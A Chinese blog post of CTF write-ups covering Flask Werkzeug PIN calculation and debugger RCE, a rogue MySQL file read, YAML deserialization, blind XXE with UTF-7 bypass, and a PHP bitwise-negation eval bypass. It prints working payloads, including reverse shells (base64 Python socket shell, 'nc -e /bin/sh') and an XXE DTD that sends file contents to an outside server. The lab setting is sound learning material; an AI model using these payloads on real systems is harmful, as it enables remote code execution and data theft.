Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
1945 字
10 分钟
?ctf(复现

?ctf 好像什么都能读(复现#

PIN码#

Flask 的 debug 模式会提供一个强大的交互式调试器,这个调试器本质上可以在服务器上执行任意代码。

为了防止未授权用户滥用调试器,werkzeug 会生成一个 PIN 码。首次访问调试页面时,需要输入这个 PIN码才能解锁调试功能。

参考博客

新版flask pin码计算-先知社区

新版flask的pin码计算 - m1xian - 博客园

pin码主要由六个参数构成:

probably_public_bits 公钥部分

1.username:执行代码时的用户名,读/etc/passwd这个文件

2.appname:固定值,默认是 Flask

3.modname:固定值,默认是 flask.app

4.moddirapp.py 文件所在路径,一般可以通过查看debug报错信息获得

private_bits 私钥部分:#

1.uuid:通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制

2.machine_id:首先读取 /etc/machine-id ,如果有值则不读取取/proc/sys/kernel/random/boot_id ,否则读取该文件。接着读取 /proc/self/cgroup ,取第一行的/ 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id

脚本如下:

import hashlib
from itertools import chain
# 可能是公开的信息部分
probably_public_bits = [
'ctf', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # moddir,报错得到
]
# 私有信息部分
private_bits = [
'235821916857788', # /sys/class/net/eth0/address 十进制
'89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
# machine-id部分
]
# 创建哈希对象
h = hashlib.sha1()
# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
# 加盐处理
h.update(b'cookiesalt')
# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)
# 生成 pin 码
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# 格式化 pin 码
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

image-20251128152528992

/etc/passwd

image-20251128152636873

报错得到绝对位置,同时得到secret

image-20251128152715836

/sys/class/net/eth0/address

将得到的数字去掉冒号后化为十进制

/proc/sys/kernel/random/boot_id

得到machine-id

获取cookie:#

GET /console?__debugger__=yes&cmd=pinauth&pin=699-028-928&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: */*
Referer: http://challenge.ilovectf.cn:30100/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20251128152402999

接着构造执行指令:#

GET /console?__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20/fl*%27).read()&frm=0&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: */*
Referer: http://challenge.ilovectf.cn:30100/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Length: 0
Connection: keep alive
Cookie: __wzd107814efcb0578d5dd6c=1764312795|27de6bf38216; HttpOnly; Path=/; SameSite=Strict

image-20251128152450133

?CTF复现 mysql管理工具#

利用了老版本mysql的漏洞获取读取文件的权限

18.MYSQL任意文件读取 · Aaron 知识库

也有现成执行文件

https://github.com/allyshka/Rogue-MySql-Server(看文件就知道是老东西了

题解#

先说这道题吧

image-20251129192837248

先是一个登录页面,听名字以为是sql注入,但是测试没有发现注入点,看源码发现是弱口令,藏在源码里

image-20251129193026146

image-20251129193146854

抓包看看,猜测是拟造cookie密钥

image-20251129193945608

这格式就很jwt

爆破一下key

image-20251129194157086

然后就可以拟写jwt了

image-20251129194310823

失败了,看了wp后才知道这道题要用到上面那个东西,伪造一个服务端,接收命令,不知道为什么,python脚本用不了,最后我是用项目中的linux版本运行的

image-20251129194543834

放到vps上,然后配置文件

image-20251129194823781

如图

host接收所有IP,开放3309端口,然后查看源码,需要配置的基本就这些

image-20251129195117672

可以看到已经读到源码了,cat一下

image-20251129195205486

源码审计……看不出什么,喂给ai

@app.route('/uneed1t', methods=['GET'])
def uneed1t():
data = request.args.get('data', '')
if data == '':
return jsonify({"result": "null"})
try:
black_list = [
"system", "popen", "run", "os"
]
for forb in black_list:
if forb in data:
return jsonify({"result":"error"})
yaml.load(data, Loader=yaml.Loader)
return jsonify({"result": "ok"})
except Exception as e:
return jsonify({"result":"error"})

ai说这一段存在yaml反序列化,但是有黑名单,采用在vps上弹shell的方式

#任意⽂件读的利⽤

!!python/object/apply:subprocess.Popen- ["sh","-c","cat /f* >1.txt"]

#弹shell 可以起socket去打

!!python/object/apply:subprocess.Popen- ["python", "-c", "import base64;base64exp='aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIml wIixwb3J0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ"' ';exp=base64.b64decode(base64exp).decode();exec(exp)"]
!!python/object/apply:subprocess.call [['/bin/busybox','nc','vps的ip地 址','nc监听端⼝','-e','/bin/sh']]

首先要在vps上安装nc,然后要确保你选择的端口开放了,就可以执行命令了

image-20251129202202408

关于yaml反序列化#

1. 代码层面的识别标志#

关键函数调用#

python

# 危险的使用方式
yaml.load(data) # 默认使用不安全的 Loader
yaml.load(data, Loader=yaml.Loader) # 显式使用不安全的 Loader
# 安全的使用方式
yaml.safe_load(data) # 安全
yaml.load(data, Loader=yaml.SafeLoader) # 安全

用户输入直接传递给 yaml.load()#

python

# 危险模式 - 用户可控输入直接反序列化
data = request.args.get('data') # 来自用户输入
data = request.json['data'] # 来自用户输入
yaml.load(data) # 直接反序列化

2. YAML 反序列化的特殊语法特征#

Python 对象构造标记#

yaml

# !!python/object 创建 Python 对象
!!python/object:os.system
!!python/object:subprocess.Popen
# !!python/object/apply 调用函数
!!python/object/apply:os.system
- "whoami"
# !!python/object/new 创建新实例
!!python/object/new:os.system

特殊标签前缀#

yaml

!!python/object:module.classname # Python 对象
!!python/name:module.function # Python 名称
!!python/module:package.module # Python 模块
!!python/attr:object.attribute # Python 属性

3. 攻击载荷的常见模式#

命令执行载荷#

yaml

# 直接系统命令
!!python/object/apply:os.system ["id"]
# 使用 subprocess
!!python/object/apply:subprocess.Popen
- ["cat", "/etc/passwd"]
# 链式调用
!!python/object/apply:__import__ ["os"]
args: ["system"]
- ["whoami"]

文件操作载荷#

yaml

# 读取文件
!!python/object/apply:open
- ["/etc/passwd", "r"]
# 写入文件
!!python/object/apply:open
- ["/tmp/backdoor.py", "w"]
- ["__import__('os').system('nc -e /bin/sh attacker.com 4444')"]

4. 漏洞存在的上下文环境#

危险的使用场景#

python

# 场景1: 配置加载
config = yaml.load(user_provided_config)
# 场景2: 数据交换
data = yaml.load(request.data)
# 场景3: 缓存反序列化
cached_data = yaml.load(redis.get('user_data'))
# 场景4: API 参数处理
@app.route('/load')
def load_data():
data = request.args.get('yaml_data')
return yaml.load(data) # 危险!

5. 识别技巧总结#

代码审计时关注:#

  1. 导入语句: import yamlfrom yaml import load
  2. 函数调用: 查找 yaml.load() 调用
  3. 参数来源: 检查参数是否来自用户输入
  4. Loader 类型: 确认是否使用不安全的 Loader

先粗略的了解一下,以后系统性的学习

查查忆(复现#

看源码提示

<!--flag in /f1111llllaa44g-->

这是一道xml但是过滤了伪协议关键字与<!ENTITY,而且还无回显,无回显的话用vps外带,过滤用utf-7编码绕过

1.xml内容,这里我在1.dtd当前目录起了一个pyhton服务器,因为dtd必须要能公网访问到,然后vps监听5000端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://101.200.39.193/1.dtd">
%dtd;%code;%send;
]>

1.dtd的内容,使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器,(==1.dtd内部的%号要进行实体编码成&#x25==。这里卡我半天,因为wp这里错了)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % code "<!ENTITY &#x25; send SYSTEM 'http://81.71.18.95:11111/%file;'>">

用cyberchef将xml文件编写一下,变成UTF-7进行绕过

image-20251205221636403

<?xml version="1.0" encoding="UTF-7"?>
+ADw-+ACE-DOCTYPE+ACA-a+ACA-+AFs-+AA0-+AAo-+ADw-+ACE-ENTITY+ACA-+ACU-+ACA-dtd+ACA-SYSTEM+ACA-+ACI-http://81.71.18.95/1.dtd+ACI-+AD4-+AA0-+AAo-+ACU-dtd+ADs-+ACU-code+ADs-+ACU-send+ADs-+AA0-+AAo-+AF0-+AD4-

image-20251205221358408

先起一个http接收端在1.dtd所在的目录

然后监听dtd文件中所用的执行端口(我这里是11111端口,这里需要保证接收端口和执行端口都开放

image-20251205221527337

然后就能获取到flag,解码一下就行了

ezphp(复现#

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['c1n_y0.u g3t+fl&g?'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
if(strlen($code)>14){
die("is tooooooooooooooooooo long!");
}
echo "Flag is in flag.php~~ (local).";
@eval($code);
?> Flag is in flag.php~~ (local).

第一步,不合法参数名,用[代替_,再url编码

?c1n[y0.u%20g3t%2Bfl%26g%3F

之后取反绕过,附上一个用的脚本

#!/usr/bin/env python3
import sys
def generate_negation_payload(input_str):
"""生成PHP取反Payload"""
negated_bytes = []
for char in input_str:
negated = (~ord(char)) & 0xFF
negated_bytes.append(negated)
urlencoded = ''.join(['%' + format(byte, '02X') for byte in negated_bytes])
param_payload = f'$_=~{urlencoded};`$_`;'
return urlencoded, param_payload
def main():
print("PHP取反Payload生成器 (Ctrl+C 或输入 exit 退出)")
print("-" * 50)
while True:
try:
# 获取输入
user_input = input("\n请输入需要取反的字符串 (例如: ls /): ").strip()
if not user_input:
continue
if user_input.lower() in ['exit', 'quit', 'q']:
print("退出程序")
break
# 生成结果
urlencoded, param_payload = generate_negation_payload(user_input)
# 输出
print(f"取反后的URL编码: {urlencoded}")
print(f"传参用Payload (浏览器自动解码):")
print(f"{param_payload}")
except KeyboardInterrupt:
print("\n\n程序已终止")
break
except Exception as e:
print(f"错误: {e}")
if __name__ == "__main__":
main()

image-20251205225518798

$_=~%C1%9C%9E%8B;`$_`;
$_=~%D5%DF%C1%C2;`$_`;

然后访问/=就可以获得日志

image-20251205225710321

?ctf(复现
https://btop251.vercel.app/posts/ctf/qctf复现/
作者
btop251
发布于
2025-11-28
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时